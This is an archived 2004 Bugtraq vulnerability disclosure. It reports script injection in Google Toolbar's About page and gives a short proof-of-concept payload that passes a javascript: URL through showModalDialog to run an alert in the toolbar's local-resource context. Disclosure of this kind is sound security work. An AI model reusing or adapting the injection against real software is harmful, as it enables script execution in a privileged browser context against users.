[36574] in bugtraq
GoogleToolbar:About -- Allows Script Injection
daemon@ATHENA.MIT.EDU (ViPeR)
Sun Sep 19 07:55:56 2004
Message-ID: <20040917085110.8903.qmail@web8502.mail.in.yahoo.com>
Date: Fri, 17 Sep 2004 09:51:10 +0100 (BST)
From: ViPeR <viper31337@yahoo.co.in>
To: news@securiteam.com, bugtraq@securityfocus.com, bugs@securitytracker.com,
vulnwatch@vulnwatch.org, vuln@security.nnov.ru, sec-adv@secunia.com,
submissions@packetstormsecurity.org
MIME-Version: 1.0
Content-Type: text/plain; charset=iso-8859-1
Content-Transfer-Encoding: 8bit
Affection Software : GoogleToolbar
Version : Tested on 2.0.114.1-big/en (GGLD)
Notes:
GoogleToolbar's About section allows injection of
script, since it lacks any checking. The following
code is a Proof Of Concept.
<s c r i p t>
window.showModalDialog("res://C:\\Program%20Files\\Google\\GoogleToolbar1.dll/ABOUT.HTML",
"<div style=\"background-image:
url(javascript:alert(location.href));\">");
</s c r i p t>
rgds,
Gregory R. Panakkal / Viper
________________________________________________________________________
Yahoo! India Matrimony: Find your life partner online
Go to: http://yahoo.shaadi.com/india-matrimony
